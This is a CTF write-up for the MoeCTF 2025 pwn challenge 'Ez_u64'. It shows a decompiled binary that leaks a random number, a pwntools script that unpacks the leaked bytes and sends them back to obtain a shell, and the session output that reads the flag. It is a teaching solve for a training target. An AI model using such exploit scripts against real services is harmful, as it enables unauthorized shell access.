XiDianCTF MoeCTF 2025 PWN 1 Ez_u64

The original Chinese article was written by a human and only proofread with generative AI. This English version was translated with AI.

Challenge link

Open the binary in IDA.

int __fastcall main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  vuln();
  return 0;
}

int init()
{
  int fd; // [rsp+Ch] [rbp-4h]
  ...
  fd = open("/dev/urandom", 0, 0LL);
  ...
  read(fd, &num, 8uLL);
  return close(fd);
}

Notice that num is a random number.

unsigned __int64 vuln()
{
  __int64 v1; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Ya hello! Let's play a game.");
  printf("Guess which number I'm thinking of.");
  printf("Here is the hint.");
  write(1, &num, 8uLL);
  printf("\n>");
  __isoc99_scanf("%zu", &v1);
  if ( v1 != num )
  {
    puts("Wrong answer!");
    puts("Try pwntools u64?");
    exit(1);
  }
  puts("Win!");
  system("/bin/sh");
  return v2 - __readfsqword(0x28u);
}

write outputs the raw in-memory representation of num directly.

scanf("%zu") reads an unsigned integer of type size_t.

The pwntools script is as follows:

from pwn import *
context(arch='amd64', os='linux', log_level='debug')

io = connect("127.0.0.1", 42704)

prefix = io.recv(16 * 5 + 1)
data = io.recv(8)

io.sendline(str(u64(data)).encode())

io.interactive()

pwntools packers infer endian and signed from the current context.¹

unpack converts a binary byte stream into an integer.

pack converts an integer into a binary byte stream.

Output:

[x] Opening connection to 127.0.0.1 on port 42704
[x] Opening connection to 127.0.0.1 on port 42704: Trying 127.0.0.1
[+] Opening connection to 127.0.0.1 on port 42704: Done
[DEBUG] Received 0x5b bytes:
    00000000  59 61 20 68  65 6c 6c 6f  21 20 4c 65  74 27 73 20  │Ya h│ello│! Le│t's │
    00000010  70 6c 61 79  20 61 20 67  61 6d 65 2e  0a 47 75 65  │play│ a g│ame.│·Gue│
    00000020  73 73 20 77  68 69 63 68  20 6e 75 6d  62 65 72 20  │ss w│hich│ num│ber │
    00000030  49 27 6d 20  74 68 69 6e  6b 69 6e 67  20 6f 66 2e  │I'm │thin│king│ of.│
    00000040  48 65 72 65  20 69 73 20  74 68 65 20  68 69 6e 74  │Here│ is │the │hint│
    00000050  2e a0 ce 7f  3b 10 6b bc  53 0a 3e                  │.···│;·k·│S·>│
    0000005b
[DEBUG] Sent 0x14 bytes:
    b'6033815318231502496\n'
[*] Switching to interactive mode

>[DEBUG] Received 0x4 bytes:
    b'Win!'
Win![DEBUG] Received 0x1 bytes:
    b'\n'

>ls

bin
dev
flag
lib
lib32
lib64
libexec
libx32
pwn


>cat flag
moectf{THIS_IS_FLAG}
[*] Interrupted
[*] Closed connection to 127.0.0.1 port 42704